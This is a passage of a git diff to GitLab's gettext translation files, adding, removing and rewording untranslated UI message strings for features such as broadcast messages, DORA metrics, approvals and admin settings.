msgid "is not a descendant of the Group owning the template"
msgstr ""
-msgid "is not a valid URL."
-msgstr ""
-
msgid "is not a valid X509 certificate."
msgstr ""
@@ -50827,6 +51565,9 @@ msgstr ""
msgid "must be greater than start date"
msgstr ""
+msgid "must be in ISO 8601 format"
+msgstr ""
+
msgid "must be in same hierarchy as custom role's namespace"
msgstr ""
@@ -50914,12 +51655,6 @@ msgstr ""
msgid "nounSeries|%{item}, and %{lastItem}"
msgstr ""
-msgid "only %{parent_types} can be parent of Task."
-msgstr ""
-
-msgid "only Task can be assigned as a child in hierarchy."
-msgstr ""
-
msgid "only available on top-level groups."
msgstr ""
@@ -51364,6 +52099,9 @@ msgstr ""
msgid "verify ownership"
msgstr ""
+msgid "version %{report_version} for report type %{report_type} is deprecated. However, GitLab will still attempt to parse and ingest this report. Upgrade the security report to one of the following versions: %{current_schema_versions}."
+msgstr ""
+
msgid "version %{versionIndex}"
msgstr ""
diff --git a/locale/as_IN/gitlab.po b/locale/as_IN/gitlab.po
index 68a1729759f..18ed4c8526d 100644
--- a/locale/as_IN/gitlab.po
+++ b/locale/as_IN/gitlab.po
@@ -14,7 +14,7 @@ msgstr ""
"X-Crowdin-Language: as\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 16\n"
-"PO-Revision-Date: 2022-12-10 06:43\n"
+"PO-Revision-Date: 2023-01-10 06:48\n"
msgid " %{start} to %{end}"
msgstr ""
@@ -750,6 +750,9 @@ msgstr ""
msgid "%{itemsCount} issues with a limit of %{maxIssueCount}"
msgstr ""
+msgid "%{key} is not a valid URL."
+msgstr ""
+
msgid "%{labelStart}Actual response:%{labelEnd} %{headers}"
msgstr ""
@@ -822,6 +825,9 @@ msgstr ""
msgid "%{level_name} is not allowed since the fork source project has lower visibility."
msgstr ""
+msgid "%{linkStart} Learn more%{linkEnd}."
+msgstr ""
+
msgid "%{link_start}Remove the %{draft_snippet} prefix%{link_end} from the title to allow this merge request to be merged when it's ready."
msgstr ""
@@ -953,6 +959,12 @@ msgstr ""
msgid "%{ref} cannot be added: %{error}"
msgstr ""
+msgid "%{relation_type} epic does not exist."
+msgstr ""
+
+msgid "%{relation_type} epic is not present."
+msgstr ""
+
msgid "%{releases} release"
msgid_plural "%{releases} releases"
msgstr[0] ""
@@ -970,6 +982,11 @@ msgstr ""
msgid "%{reportType} detected no new vulnerabilities."
msgstr ""
+msgid "%{requireStart}Require%{requireEnd} %{approvalsRequired} %{approvalStart}approval%{approvalEnd} from: %{approverType}%{approvers}"
+msgid_plural "%{requireStart}Require%{requireEnd} %{approvalsRequired} %{approvalStart}approvals%{approvalEnd} from: %{approverType}%{approvers}"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%{retryButtonStart}Try again%{retryButtonEnd} or %{newFileButtonStart}attach a new file%{newFileButtonEnd}."
msgstr ""
@@ -1008,9 +1025,6 @@ msgid_plural "%{selectedProjectsCount} projects"
msgstr[0] ""
msgstr[1] ""
-msgid "%{size} %{unit}"
-msgstr ""
-
msgid "%{size} GiB"
msgstr ""
@@ -1116,11 +1130,6 @@ msgstr ""
msgid "%{text} is available"
msgstr ""
-msgid "%{thenLabelStart}Then%{thenLabelEnd} Require %{approvalsRequired} approval from %{approverType}%{approvers}"
-msgid_plural "%{thenLabelStart}Then%{thenLabelEnd} Require %{approvalsRequired} approvals from %{approverType}%{approvers}"
-msgstr[0] ""
-msgstr[1] ""
-
msgid "%{timebox_type} does not support burnup charts"
msgstr ""
@@ -1541,7 +1550,7 @@ msgstr[0] ""
msgstr[1] ""
msgid "1 user"
-msgid_plural "%{num} users"
+msgid_plural "%d users"
msgstr[0] ""
msgstr[1] ""
@@ -1768,6 +1777,9 @@ msgstr ""
msgid "A sign-in to your account has been made from the following IP address: %{ip}"
msgstr ""
+msgid "A template for starting a new TYPO3 project"
+msgstr ""
+
msgid "A title is required"
msgstr ""
@@ -1912,9 +1924,6 @@ msgstr ""
msgid "AWS secret access key (Optional)"
msgstr ""
-msgid "AWS service error: %{error}"
-msgstr ""
-
msgid "Abort"
msgstr ""
@@ -1963,9 +1972,6 @@ msgstr ""
msgid "Access denied for your LDAP account."
msgstr ""
-msgid "Access denied: %{error}"
-msgstr ""
-
msgid "Access expires"
msgstr ""
@@ -2125,7 +2131,7 @@ msgstr ""
msgid "Activate Service Desk"
msgstr ""
-msgid "Activated on"
+msgid "Activated"
msgstr ""
msgid "Active"
@@ -2203,6 +2209,9 @@ msgstr ""
msgid "Add a collapsible section"
msgstr ""
+msgid "Add a comment"
+msgstr ""
+
msgid "Add a comment to this line"
msgstr ""
@@ -2581,15 +2590,18 @@ msgstr ""
msgid "AdminArea|All users created in the instance, including users who are not %{billable_users_link_start}billable users%{billable_users_link_end}."
msgstr ""
-msgid "AdminArea|Billable users"
-msgstr ""
-
msgid "AdminArea|Blocked users"
msgstr ""
msgid "AdminArea|Bots"
msgstr ""
+msgid "AdminArea|Breakdown of Billable users"
+msgstr ""
+
+msgid "AdminArea|Breakdown of Non-Billable users"
+msgstr ""
+
msgid "AdminArea|Components"
msgstr ""
@@ -2671,9 +2683,18 @@ msgstr ""
msgid "AdminArea|Stopping jobs failed"
msgstr ""
+msgid "AdminArea|Total Billable users"
+msgstr ""
+
+msgid "AdminArea|Total Non-Billable users"
+msgstr ""
+
msgid "AdminArea|Total users"
msgstr ""
+msgid "AdminArea|Totals"
+msgstr ""
+
msgid "AdminArea|Updated %{last_update_time}"
msgstr ""
@@ -2701,6 +2722,12 @@ msgstr ""
msgid "AdminArea|You’re about to stop all jobs. This will halt all current jobs that are running."
msgstr ""
+msgid "AdminArea|active users + blocked users"
+msgstr ""
+
+msgid "AdminArea|total billable + total non-billable"
+msgstr ""
+
msgid "AdminDashboard|Error loading the statistics. Please try again"
msgstr ""
@@ -2755,6 +2782,9 @@ msgstr ""
msgid "AdminSettings|Auto DevOps domain"
msgstr ""
+msgid "AdminSettings|By default, set a limit to 0 to have no limit."
+msgstr ""
+
msgid "AdminSettings|CI/CD limits"
msgstr ""
@@ -2824,6 +2854,9 @@ msgstr ""
msgid "AdminSettings|Enable kuromoji custom analyzer: Search"
msgstr ""
+msgid "AdminSettings|Enable migrating GitLab groups and projects by direct transfer"
+msgstr ""
+
msgid "AdminSettings|Enable pipeline suggestion banner"
msgstr ""
@@ -2911,6 +2944,9 @@ msgstr ""
msgid "AdminSettings|Maximum number of custom domains per project"
msgstr ""
+msgid "AdminSettings|Maximum number of downstream pipelines in a pipeline's hierarchy tree"
+msgstr ""
+
msgid "AdminSettings|Maximum number of jobs in a single pipeline"
msgstr ""
@@ -2998,9 +3034,6 @@ msgstr ""
msgid "AdminSettings|Set a CI/CD template as the required pipeline configuration for all projects in the instance. Project CI/CD configuration merges into the required pipeline configuration when the pipeline runs. %{link_start}What is a required pipeline configuration?%{link_end}"
msgstr ""
-msgid "AdminSettings|Set limit to 0 to disable it."
-msgstr ""
-
msgid "AdminSettings|Set the expiration time of authentication tokens of newly registered group runners."
msgstr ""
@@ -3046,6 +3079,9 @@ msgstr ""
msgid "AdminSettings|There are Advanced Search migrations pending that require indexing to pause. Indexing must remain paused until GitLab completes the migrations."
msgstr ""
+msgid "AdminSettings|This limit cannot be disabled. Set to 0 to block all DAG dependencies."
+msgstr ""
+
msgid "AdminSettings|To enable Registration Features, first enable Service Ping."
msgstr ""
@@ -3292,7 +3328,7 @@ msgstr ""
msgid "AdminUsers|Is using seat"
msgstr ""
-msgid "AdminUsers|Issues authored by this user are hidden from other users."
+msgid "AdminUsers|Issues and merge requests authored by this user are hidden from other users."
msgstr ""
msgid "AdminUsers|It's you!"
@@ -3337,6 +3373,9 @@ msgstr ""
msgid "AdminUsers|Personal projects, group and user history will be left intact"
msgstr ""
+msgid "AdminUsers|Private profile"
+msgstr ""
+
msgid "AdminUsers|Quota of CI/CD minutes"
msgstr ""
@@ -3595,6 +3634,9 @@ msgstr ""
msgid "After it expires, you can't use merge approvals, epics, or many security features."
msgstr ""
+msgid "After the Apple App Store Connect integration is activated, the following protected variables will be created for CI/CD use."
+msgstr ""
+
msgid "After the export is complete, download the data file from a notification email or from this page. You can then import the data file from the %{strong_text_start}Create new group%{strong_text_end} page of another GitLab instance."
msgstr ""
@@ -4237,9 +4279,6 @@ msgstr ""
msgid "An error occurred while approving, please try again."
msgstr ""
-msgid "An error occurred while authorizing your role"
-msgstr ""
-
msgid "An error occurred while checking group path. Please refresh and try again."
msgstr ""
@@ -4408,15 +4447,6 @@ msgstr ""
msgid "An error occurred while loading projects."
msgstr ""
-msgid "An error occurred while loading the Jobs tab."
-msgstr ""
-
-msgid "An error occurred while loading the Needs tab."
-msgstr ""
-
-msgid "An error occurred while loading the Test Reports tab."
-msgstr ""
-
msgid "An error occurred while loading the blob controls."
msgstr ""
@@ -4450,9 +4480,6 @@ msgstr ""
msgid "An error occurred while loading the notification settings. Please try again."
msgstr ""
-msgid "An error occurred while loading the pipeline."
-msgstr ""
-
msgid "An error occurred while loading the pipelines jobs."
msgstr ""
@@ -4704,6 +4731,18 @@ msgstr ""
msgid "Append the comment with %{tableflip}"
msgstr ""
+msgid "AppleAppStore|The Apple App Store Connect Issuer ID."
+msgstr ""
+
+msgid "AppleAppStore|The Apple App Store Connect Key ID."
+msgstr ""
+
+msgid "AppleAppStore|The Apple App Store Connect Private Key."
+msgstr ""
+
+msgid "AppleAppStore|Use GitLab to build and release an app in the Apple App Store."
+msgstr ""
+
msgid "Application"
msgstr ""
@@ -4846,9 +4885,6 @@ msgstr ""
msgid "ApplicationSettings|Send a confirmation email during sign up. New users must confirm their email address before they can log in."
msgstr ""
-msgid "ApplicationSettings|Send confirmation email on sign-up"
-msgstr ""
-
msgid "ApplicationSettings|Sign-up enabled"
msgstr ""
@@ -4938,6 +4974,9 @@ msgstr ""
msgid "Applying suggestions..."
msgstr ""
+msgid "Approval options"
+msgstr ""
+
msgid "Approval rules"
msgstr ""
@@ -5078,6 +5117,9 @@ msgstr ""
msgid "Approvals are optional."
msgstr ""
+msgid "Approvals required"
+msgstr ""
+
msgid "Approvals|Section: %section"
msgstr ""
@@ -5629,6 +5671,9 @@ msgstr ""
msgid "AuditStreams|Custom HTTP headers (optional)"
msgstr ""
+msgid "AuditStreams|Defines which streaming events are captured"
+msgstr ""
+
msgid "AuditStreams|Delete %{link}"
msgstr ""
@@ -5644,12 +5689,18 @@ msgstr ""
msgid "AuditStreams|Edit %{link}"
msgstr ""
+msgid "AuditStreams|Event filtering (optional)"
+msgstr ""
+
msgid "AuditStreams|Header"
msgstr ""
msgid "AuditStreams|Maximum of %{number} HTTP headers has been reached."
msgstr ""
+msgid "AuditStreams|No filters available. %{linkStart}How do I add a filter?%{linkEnd}"
+msgstr ""
+
msgid "AuditStreams|Remove custom header"
msgstr ""
@@ -7221,9 +7272,93 @@ msgstr ""
msgid "Broadcast Messages"
msgstr ""
+msgid "BroadcastMessages|Add broadcast message"
+msgstr ""
+
+msgid "BroadcastMessages|Allow users to dismiss the broadcast message"
+msgstr ""
+
+msgid "BroadcastMessages|Banner"
+msgstr ""
+
+msgid "BroadcastMessages|Blue"
+msgstr ""
+
+msgid "BroadcastMessages|Dark"
+msgstr ""
+
+msgid "BroadcastMessages|Dismissable"
+msgstr ""
+
+msgid "BroadcastMessages|Ends at"
+msgstr ""
+
+msgid "BroadcastMessages|Green"
+msgstr ""
+
+msgid "BroadcastMessages|Indigo"
+msgstr ""
+
+msgid "BroadcastMessages|Light"
+msgstr ""
+
+msgid "BroadcastMessages|Light Blue"
+msgstr ""
+
+msgid "BroadcastMessages|Light Green"
+msgstr ""
+
+msgid "BroadcastMessages|Light Indigo"
+msgstr ""
+
+msgid "BroadcastMessages|Light Red"
+msgstr ""
+
+msgid "BroadcastMessages|Message"
+msgstr ""
+
+msgid "BroadcastMessages|Notification"
+msgstr ""
+
+msgid "BroadcastMessages|Paths can contain wildcards, like */welcome"
+msgstr ""
+
+msgid "BroadcastMessages|Red"
+msgstr ""
+
+msgid "BroadcastMessages|Starts at"
+msgstr ""
+
+msgid "BroadcastMessages|Target Path"
+msgstr ""
+
+msgid "BroadcastMessages|Target roles"
+msgstr ""
+
+msgid "BroadcastMessages|The broadcast message displays only to users in projects and groups who have these roles."
+msgstr ""
+
+msgid "BroadcastMessages|Theme"
+msgstr ""
+
+msgid "BroadcastMessages|There was an error adding broadcast message."
+msgstr ""
+
+msgid "BroadcastMessages|There was an error updating broadcast message."
+msgstr ""
+
msgid "BroadcastMessages|There was an issue deleting this message, please try again later."
msgstr ""
+msgid "BroadcastMessages|Type"
+msgstr ""
+
+msgid "BroadcastMessages|Update broadcast message"
+msgstr ""
+
+msgid "BroadcastMessages|Your message here"
+msgstr ""
+
msgid "Browse Directory"
msgstr ""
@@ -7820,6 +7955,9 @@ msgstr ""
msgid "Cannot promote issue due to insufficient permissions."
msgstr ""
+msgid "Cannot push to source branch"
+msgstr ""
+
msgid "Cannot refer to a group milestone by an internal id!"
msgstr ""
@@ -7931,13 +8069,10 @@ msgstr ""
msgid "Change your password or recover your current one"
msgstr ""
-msgid "ChangeReviewer|Reviewer changed from %{old} to %{new}"
-msgstr ""
-
-msgid "ChangeReviewer|Reviewer changed to %{new}"
+msgid "ChangeReviewer|%{added_reviewers_text}%{removed_reviewers_text}"
msgstr ""
-msgid "ChangeReviewer|Unassigned"
+msgid "ChangeReviewer|All reviewers were removed."
msgstr ""
msgid "ChangeTypeAction|Cherry-pick"
@@ -8220,6 +8355,9 @@ msgstr ""
msgid "Checkout|Country"
msgstr ""
+msgid "Checkout|Coupon code (optional)"
+msgstr ""
+
msgid "Checkout|Create a new group"
msgstr ""
@@ -8379,12 +8517,6 @@ msgstr ""
msgid "Child epic"
msgstr ""
-msgid "Child epic does not exist."
-msgstr ""
-
-msgid "Child epic doesn't exist."
-msgstr ""
-
msgid "Child issues and epics"
msgstr ""
@@ -8568,6 +8700,9 @@ msgstr ""
msgid "CiVariables|This %{entity} has %{currentVariableCount} defined CI/CD variables. The maximum number of variables per %{entity} is %{maxVariableLimit}. To add new variables, you must reduce the number of defined variables."
msgstr ""
+msgid "CiVariables|Trigger this manual action"
+msgstr ""
+
msgid "CiVariables|Type"
msgstr ""
@@ -8693,6 +8828,9 @@ msgstr ""
msgid "Click the link below to confirm your email address."
msgstr ""
+msgid "Click to expand"
+msgstr ""
+
msgid "Click to expand it."
msgstr ""
@@ -8795,12 +8933,18 @@ msgstr ""
msgid "Closed this %{quick_action_target}."
msgstr ""
+msgid "Closed this issue. Marked as related to, and a duplicate of, %{duplicate_param}."
+msgstr ""
+
msgid "Closed: %{closed}"
msgstr ""
msgid "Closes this %{quick_action_target}."
msgstr ""
+msgid "Closes this issue. Marks as related to, and a duplicate of, %{duplicate_reference}."
+msgstr ""
+
msgid "Cloud Run"
msgstr ""
@@ -9466,21 +9610,6 @@ msgstr ""
msgid "ClusterIntegration|Every new Google Cloud Platform (GCP) account receives $300 in credit upon %{sign_up_link}. In partnership with Google, GitLab is able to offer an additional $200 for both new and existing GCP accounts to get started with GitLab's Google Kubernetes Engine Integration."
msgstr ""
-msgid "ClusterIntegration|Failed to configure EKS provider: %{message}"
-msgstr ""
-
-msgid "ClusterIntegration|Failed to configure Google Kubernetes Engine Cluster: %{message}"
-msgstr ""
-
-msgid "ClusterIntegration|Failed to fetch CloudFormation stack: %{message}"
-msgstr ""
-
-msgid "ClusterIntegration|Failed to request to Google Cloud Platform: %{message}"
-msgstr ""
-
-msgid "ClusterIntegration|Failed to run Kubeclient: %{message}"
-msgstr ""
-
msgid "ClusterIntegration|GitLab Integration"
msgstr ""
@@ -9969,6 +10098,9 @@ msgstr ""
msgid "Committed by"
msgstr ""
+msgid "CommonJS module"
+msgstr ""
+
msgid "Community forum"
msgstr ""
@@ -10860,6 +10992,9 @@ msgstr ""
msgid "Continue to the next step"
msgstr ""
+msgid "Continue with overages"
+msgstr ""
+
msgid "Continuous Integration and Deployment"
msgstr ""
@@ -11253,6 +11388,9 @@ msgstr ""
msgid "Country"
msgstr ""
+msgid "Counts"
+msgstr ""
+
msgid "Counts reflect children you may not have access to."
msgstr ""
@@ -12149,6 +12287,9 @@ msgstr ""
msgid "CycleAnalytics|project dropdown filter"
msgstr ""
+msgid "CycleAnalytics|the assigned object is not supported"
+msgstr ""
+
msgid "DAG visualization requires at least 3 dependent jobs."
msgstr ""
@@ -12173,6 +12314,9 @@ msgstr ""
msgid "DORA4Metrics|Average (last %{days}d)"
msgstr ""
+msgid "DORA4Metrics|Average number of deployments to production per day. This metric measures how often value is delivered to end users."
+msgstr ""
+
msgid "DORA4Metrics|Change Failure Rate"
msgstr ""
@@ -12185,7 +12329,10 @@ msgstr ""
msgid "DORA4Metrics|Cycle time"
msgstr ""
-msgid "DORA4Metrics|DORA metrics for %{groupName} group"
+msgid "DORA4Metrics|DORA metrics for %{name} group"
+msgstr ""
+
+msgid "DORA4Metrics|DORA metrics for %{name} project"
msgstr ""
msgid "DORA4Metrics|Date"
@@ -12206,6 +12353,12 @@ msgstr ""
msgid "DORA4Metrics|Deploys"
msgstr ""
+msgid "DORA4Metrics|Failed to load charts"
+msgstr ""
+
+msgid "DORA4Metrics|Go to docs"
+msgstr ""
+
msgid "DORA4Metrics|Lead Time for Changes"
msgstr ""
@@ -12227,6 +12380,12 @@ msgstr ""
msgid "DORA4Metrics|Median time an incident was open in a production environment over the given time period."
msgstr ""
+msgid "DORA4Metrics|Median time from issue created to issue closed."
+msgstr ""
+
+msgid "DORA4Metrics|Median time from the earliest commit of a linked issue's merge request to when that issue is closed."
+msgstr ""
+
msgid "DORA4Metrics|Month to date"
msgstr ""
@@ -12245,6 +12404,15 @@ msgstr ""
msgid "DORA4Metrics|Number of incidents divided by the number of deployments to a production environment in the given time period."
msgstr ""
+msgid "DORA4Metrics|Number of new issues created."
+msgstr ""
+
+msgid "DORA4Metrics|Past 6 Months"
+msgstr ""
+
+msgid "DORA4Metrics|Percentage of deployments that cause an incident in production."
+msgstr ""
+
msgid "DORA4Metrics|Percentage of failed deployments"
msgstr ""
@@ -12266,6 +12434,12 @@ msgstr ""
msgid "DORA4Metrics|The chart displays the median time between a merge request being merged and deployed to production environment(s) that are based on the %{linkStart}deployment_tier%{linkEnd} value."
msgstr ""
+msgid "DORA4Metrics|The time it takes an organization to recover from a failure in production."
+msgstr ""
+
+msgid "DORA4Metrics|The time to successfully deliver a commit into production. This metric reflects the efficiency of CI/CD pipelines."
+msgstr ""
+
msgid "DORA4Metrics|Time to Restore Service"
msgstr ""
@@ -12275,6 +12449,9 @@ msgstr ""
msgid "DORA4Metrics|Time to restore service (median days)"
msgstr ""
+msgid "DORA4Metrics|Total number of deploys to production."
+msgstr ""
+
msgid "DSN"
msgstr ""
@@ -12290,9 +12467,6 @@ msgstr ""
msgid "DashboardProjects|Personal"
msgstr ""
-msgid "DashboardProjects|Trending"
-msgstr ""
-
msgid "Dashboards"
msgstr ""
@@ -13210,11 +13384,10 @@ msgstr ""
msgid "DeletionSettings|Keep deleted"
msgstr ""
-msgid "DeletionSettings|Keep deleted projects for %{number} days"
-msgstr ""
-
-msgid "DeletionSettings|Keep deleted projects for 1 day"
-msgstr ""
+msgid "DeletionSettings|Keep deleted projects for %{number} day"
+msgid_plural "DeletionSettings|Keep deleted projects for %{number} days"
+msgstr[0] ""
+msgstr[1] ""
msgid "DeletionSettings|None, delete immediately"
msgstr ""
@@ -13279,6 +13452,9 @@ msgstr ""
msgid "Dependencies|Dependency path"
msgstr ""
+msgid "Dependencies|Error exporting the dependency list. Please reload the page."
+msgstr ""
+
msgid "Dependencies|Export as JSON"
msgstr ""
@@ -13660,9 +13836,15 @@ msgstr ""
msgid "Deployment Target|Select the deployment target"
msgstr ""
+msgid "Deployment approvals is not configured for this environment."
+msgstr ""
+
msgid "Deployment frequency"
msgstr ""
+msgid "DeploymentApprovals|Allow pipeline triggerer to approve deployment."
+msgstr ""
+
msgid "DeploymentApprovals|Approvals"
msgstr ""
@@ -13678,6 +13860,12 @@ msgstr ""
msgid "DeploymentApprovals|Maintainers"
msgstr ""
+msgid "DeploymentApprovals|Set how approval rules are applied to deployments in protected environments."
+msgstr ""
+
+msgid "DeploymentApprovals|When a pipeline runs, deployment jobs will automatically be approved in the pipeline if the triggerer is allowed to approve."
+msgstr ""
+
msgid "DeploymentApproval| Current approvals: %{current}"
msgstr ""
@@ -13761,6 +13949,12 @@ msgid_plural "Deployments|%{deployments} environments impacted."
msgstr[0] ""
msgstr[1] ""
+msgid "Deployments|Define environments in the deploy stage(s) in %{code_open}.gitlab-ci.yml%{code_close} to track deployments here."
+msgstr ""
+
+msgid "Deployments|You don't have any deployments right now."
+msgstr ""
+
msgid "Deployment|API"
msgstr ""
@@ -14030,7 +14224,7 @@ msgstr ""
msgid "DevOps adoption"
msgstr ""
-msgid "DevOps metrics comparison (Alpha)"
+msgid "DevOps metrics comparison (Beta)"
msgstr ""
msgid "Developer"
@@ -14255,6 +14449,9 @@ msgstr ""
msgid "Difference between start date and now"
msgstr ""
+msgid "Different user's signature"
+msgstr ""
+
msgid "DiffsCompareBaseBranch|(HEAD)"
msgstr ""
@@ -14746,6 +14943,9 @@ msgstr ""
msgid "E-mail:"
msgstr ""
+msgid "ESM module"
+msgstr ""
+
msgid "Each project can also have an issue tracker and a wiki."
msgstr ""
@@ -15943,10 +16143,7 @@ msgstr ""
msgid "Error: Couldn't load some or all of the changes."
msgstr ""
-msgid "Error: No AWS credentials were supplied"
-msgstr ""
-
-msgid "Error: No AWS provision role found for user"
+msgid "Error: Gitaly is unavailable. Contact your administrator."
msgstr ""
msgid "Error: Unable to create deploy freeze"
@@ -15955,9 +16152,6 @@ msgstr ""
msgid "Error: Unable to delete deploy freeze"
msgstr ""
-msgid "Error: Unable to find AWS role for current user"
-msgstr ""
-
msgid "ErrorTracking|Access token is %{token_in_code_tag}"
msgstr ""
@@ -16455,9 +16649,6 @@ msgstr ""
msgid "Expires %{preposition} %{expires_at}"
msgstr ""
-msgid "Expires on"
-msgstr ""
-
msgid "Expires:"
msgstr ""
@@ -16491,9 +16682,6 @@ msgstr ""
msgid "Explore snippets"
msgstr ""
-msgid "Explore topics"
-msgstr ""
-
msgid "Export"
msgstr ""
@@ -16813,9 +17001,6 @@ msgstr ""
msgid "Failed to move this issue because target project doesn't exist."
msgstr ""
-msgid "Failed to promote issue to incident"
-msgstr ""
-
msgid "Failed to promote label due to internal error. Please contact administrators."
msgstr ""
@@ -17241,9 +17426,6 @@ msgstr ""
msgid "Filter by %{page_context_word} that are currently open."
msgstr ""
-msgid "Filter by Git revision"
-msgstr ""
-
msgid "Filter by issues that are currently closed."
msgstr ""
@@ -17562,16 +17744,13 @@ msgstr ""
msgid "ForksDivergence|%{messages} upstream repository"
msgstr ""
-msgid "ForksDivergence|Up to date with upstream repository"
-msgstr ""
-
-msgid "Format: %{dateFormat}"
+msgid "ForksDivergence|Fork has diverged from upstream repository"
msgstr ""
-msgid "Found errors in your %{gitlab_ci_yml}:"
+msgid "ForksDivergence|Up to date with upstream repository"
msgstr ""
-msgid "Found errors in your .gitlab-ci.yml:"
+msgid "Format: %{dateFormat}"
msgstr ""
msgid "Framework successfully deleted"
@@ -17669,6 +17848,9 @@ msgstr ""
msgid "GPG Keys"
msgstr ""
+msgid "GPG key mismatch"
+msgstr ""
+
msgid "GPG keys allow you to verify signed commits."
msgstr ""
@@ -18327,9 +18509,6 @@ msgstr ""
msgid "Git"
msgstr ""
-msgid "Git GC period"
-msgstr ""
-
msgid "Git LFS Rate Limits"
msgstr ""
@@ -18743,6 +18922,9 @@ msgstr ""
msgid "Global Shortcuts"
msgstr ""
+msgid "Global notification email"
+msgstr ""
+
msgid "Global notification level"
msgstr ""
@@ -18755,6 +18937,12 @@ msgstr ""
msgid "GlobalSearch|%{count} default results provided. Use the up and down arrow keys to navigate search results list."
msgstr ""
+msgid "GlobalSearch|Close"
+msgstr ""
+
+msgid "GlobalSearch|Group"
+msgstr ""
+
msgid "GlobalSearch|Groups"
msgstr ""
@@ -18779,6 +18967,9 @@ msgstr ""
msgid "GlobalSearch|Merge requests that I'm a reviewer"
msgstr ""
+msgid "GlobalSearch|Project"
+msgstr ""
+
msgid "GlobalSearch|Projects"
msgstr ""
@@ -18797,6 +18988,9 @@ msgstr ""
msgid "GlobalSearch|Results updated. %{count} results available. Use the up and down arrow keys to navigate search results list, or ENTER to submit."
msgstr ""
+msgid "GlobalSearch|Search"
+msgstr ""
+
msgid "GlobalSearch|Search GitLab"
msgstr ""
@@ -18809,9 +19003,15 @@ msgstr ""
msgid "GlobalSearch|Settings"
msgstr ""
+msgid "GlobalSearch|Syntax options"
+msgstr ""
+
msgid "GlobalSearch|There was an error fetching search autocomplete suggestions."
msgstr ""
+msgid "GlobalSearch|There was an error fetching the \"Syntax Options\" document."
+msgstr ""
+
msgid "GlobalSearch|Type and press the enter key to submit search."
msgstr ""
@@ -19136,6 +19336,12 @@ msgstr ""
msgid "Group %{group_name} was successfully created."
msgstr ""
+msgid "Group '%{group_name}' could not be updated."
+msgstr ""
+
+msgid "Group '%{group_name}' was successfully updated."
+msgstr ""
+
msgid "Group Access Tokens"
msgstr ""
@@ -19298,7 +19504,7 @@ msgstr ""
msgid "GroupActivityMetrics|Recent activity"
msgstr ""
-msgid "GroupImport|Failed to import group."
+msgid "GroupImport|Failed to import group: %{error}"
msgstr ""
msgid "GroupImport|Group '%{group_name}' is being imported."
@@ -19781,9 +19987,15 @@ msgstr ""
msgid "GroupsEmptyState|If you organize your projects under a group, it works like a folder."
msgstr ""
+msgid "GroupsEmptyState|No archived projects."
+msgstr ""
+
msgid "GroupsEmptyState|No groups found"
msgstr ""
+msgid "GroupsEmptyState|No shared projects."
+msgstr ""
+
msgid "GroupsEmptyState|No subgroups or projects."
msgstr ""
@@ -19838,6 +20050,9 @@ msgstr ""
msgid "GroupsNew|Import groups from another instance of GitLab"
msgstr ""
+msgid "GroupsNew|Importing groups by direct transfer is currently disabled."
+msgstr ""
+
msgid "GroupsNew|No import options available"
msgstr ""
@@ -19847,6 +20062,12 @@ msgstr ""
msgid "GroupsNew|Personal access token"
msgstr ""
+msgid "GroupsNew|Please %{admin_link_start}enable it in the Admin settings%{admin_link_end}."
+msgstr ""
+
+msgid "GroupsNew|Please ask your Administrator to enable it in the Admin settings."
+msgstr ""
+
msgid "GroupsNew|Please fill in GitLab source URL."
msgstr ""
@@ -19856,6 +20077,9 @@ msgstr ""
msgid "GroupsNew|Provide credentials for another instance of GitLab to import your groups directly."
msgstr ""
+msgid "GroupsNew|Remember to enable it also on the instance you are migrating from."
+msgstr ""
+
msgid "GroupsNew|This feature is deprecated and replaced by %{docs_link_start}group migration%{docs_link_end}."
msgstr ""
@@ -19973,6 +20197,9 @@ msgstr ""
msgid "HAR file path or URL"
msgstr ""
+msgid "HTML script tag"
+msgstr ""
+
msgid "HTTP Archive (HAR)"
msgstr ""
@@ -20284,6 +20511,12 @@ msgstr ""
msgid "Hierarchy|Planning hierarchy"
msgstr ""
+msgid "Hierarchy|Something went wrong while fetching children."
+msgstr ""
+
+msgid "Hierarchy|Something went wrong while removing a child item."
+msgstr ""
+
msgid "Hierarchy|Take the work items survey"
msgstr ""
@@ -20698,9 +20931,6 @@ msgstr ""
msgid "If no options are selected, only administrators can register runners."
msgstr ""
-msgid "If none of the options work, try contacting a GitLab administrator."
-msgstr ""
-
msgid "If the number of active users exceeds the user limit, you will be charged for the number of %{users_over_license_link} at your next license reconciliation."
msgstr ""
@@ -20722,6 +20952,9 @@ msgstr ""
msgid "If you add %{codeStart}needs%{codeEnd} to jobs in your pipeline you'll be able to view the %{codeStart}needs%{codeEnd} relationships between jobs in this tab as a %{linkStart}Directed Acyclic Graph (DAG)%{linkEnd}."
msgstr ""
+msgid "If you are unable to sign in or recover your password, contact a GitLab administrator."
+msgstr ""
+
msgid "If you did not initiate these sign-in attempts, please reach out to your administrator or enable two-factor authentication (2FA) on your account."
msgstr ""
@@ -20942,12 +21175,24 @@ msgstr ""
msgid "ImportProjects|Blocked import URL: %{message}"
msgstr ""
+msgid "ImportProjects|Cancel import"
+msgstr ""
+
+msgid "ImportProjects|Cancelling project import failed"
+msgstr ""
+
+msgid "ImportProjects|Cancelling project import failed: %{reason}"
+msgstr ""
+
msgid "ImportProjects|Error importing repository %{project_safe_import_url} into %{project_full_path} - %{message}"
msgstr ""
msgid "ImportProjects|Import repositories"
msgstr ""
+msgid "ImportProjects|Imported files will be kept. You can import this repository again later."
+msgstr ""
+
msgid "ImportProjects|Importing the project failed"
msgstr ""
@@ -22006,7 +22251,7 @@ msgstr ""
msgid "Insights|Configure a custom report for insights into your group processes such as amount of issues, bugs, and merge requests per month. %{linkStart}How do I configure an insights report?%{linkEnd}"
msgstr ""
-msgid "Insights|Some items are not visible beacuse the project was filtered out in the insights.yml file (see the projects.only config for more information)."
+msgid "Insights|Some items are not visible beacuse the project was filtered out in the insights.yml file (see the projects.only config in the YAML file or the enabled project features (issues, merge requests) in the project settings)."
msgstr ""
msgid "Insights|This project is filtered out in the insights.yml file (see the projects.only config for more information)."
@@ -22068,9 +22313,18 @@ msgstr ""
msgid "IntegrationEvents|A confidential issue is created, updated, or closed"
msgstr ""
+msgid "IntegrationEvents|A deployment is started or finished"
+msgstr ""
+
msgid "IntegrationEvents|A merge request is created, updated, or merged"
msgstr ""
+msgid "IntegrationEvents|A new, unique alert is recorded"
+msgstr ""
+
+msgid "IntegrationEvents|A new, unique, vulnerability is recorded. (Note: This feature requires an Ultimate plan)"
+msgstr ""
+
msgid "IntegrationEvents|A pipeline status changes"
msgstr ""
@@ -22221,6 +22475,9 @@ msgstr ""
msgid "Integrations|Instance-level integration management"
msgstr ""
